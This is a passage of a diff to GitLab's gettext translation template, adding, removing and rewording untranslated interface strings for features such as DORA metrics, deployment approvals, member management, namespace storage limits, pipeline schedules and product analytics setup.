msgstr ""
@@ -12266,6 +12434,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12275,6 +12449,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12290,9 +12467,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13210,11 +13384,10 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13279,6 +13452,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13660,9 +13836,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13678,6 +13860,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13761,6 +13949,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
msgstr[1] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14030,7 +14224,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14255,6 +14449,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14746,6 +14943,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15943,10 +16143,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15955,9 +16152,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16455,9 +16649,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16491,9 +16682,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16813,9 +17001,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17241,9 +17426,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17562,16 +17744,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17669,6 +17848,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18327,9 +18509,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18743,6 +18922,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18755,6 +18937,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18779,6 +18967,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18797,6 +18988,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18809,9 +19003,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19136,6 +19336,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19298,7 +19504,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19781,9 +19987,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -19838,6 +20050,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19847,6 +20062,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19856,6 +20077,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19973,6 +20197,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20284,6 +20511,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20698,9 +20931,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20722,6 +20952,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20942,12 +21175,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22006,7 +22251,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22068,9 +22313,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22221,6 +22475,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23423,6 +23680,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23471,6 +23731,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23615,9 +23878,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23933,9 +24193,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24096,9 +24353,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24231,6 +24485,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24300,9 +24557,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -25056,6 +25310,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25071,9 +25328,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25173,6 +25427,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25242,9 +25499,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25257,9 +25511,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25599,6 +25850,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25636,6 +25890,9 @@ msgstr[1] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25645,6 +25902,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25666,10 +25938,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25678,9 +25950,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25708,6 +25986,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25735,6 +26016,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26020,10 +26307,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26083,6 +26373,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26510,6 +26803,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -26906,6 +27205,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26930,6 +27232,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26939,6 +27244,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -26962,24 +27270,36 @@ msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_c
msgstr[0] ""
msgstr[1] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27073,6 +27393,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27201,9 +27542,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27519,9 +27857,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27698,6 +28033,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28234,13 +28584,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28291,6 +28635,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -28718,6 +29074,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28883,6 +29242,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29308,12 +29670,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29472,9 +29828,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29617,12 +29970,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30154,7 +30501,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30169,6 +30516,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30181,6 +30531,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30208,6 +30561,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30226,6 +30585,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31180,9 +31542,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31240,6 +31599,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31267,7 +31629,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31282,9 +31647,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31396,6 +31758,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31408,27 +31773,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
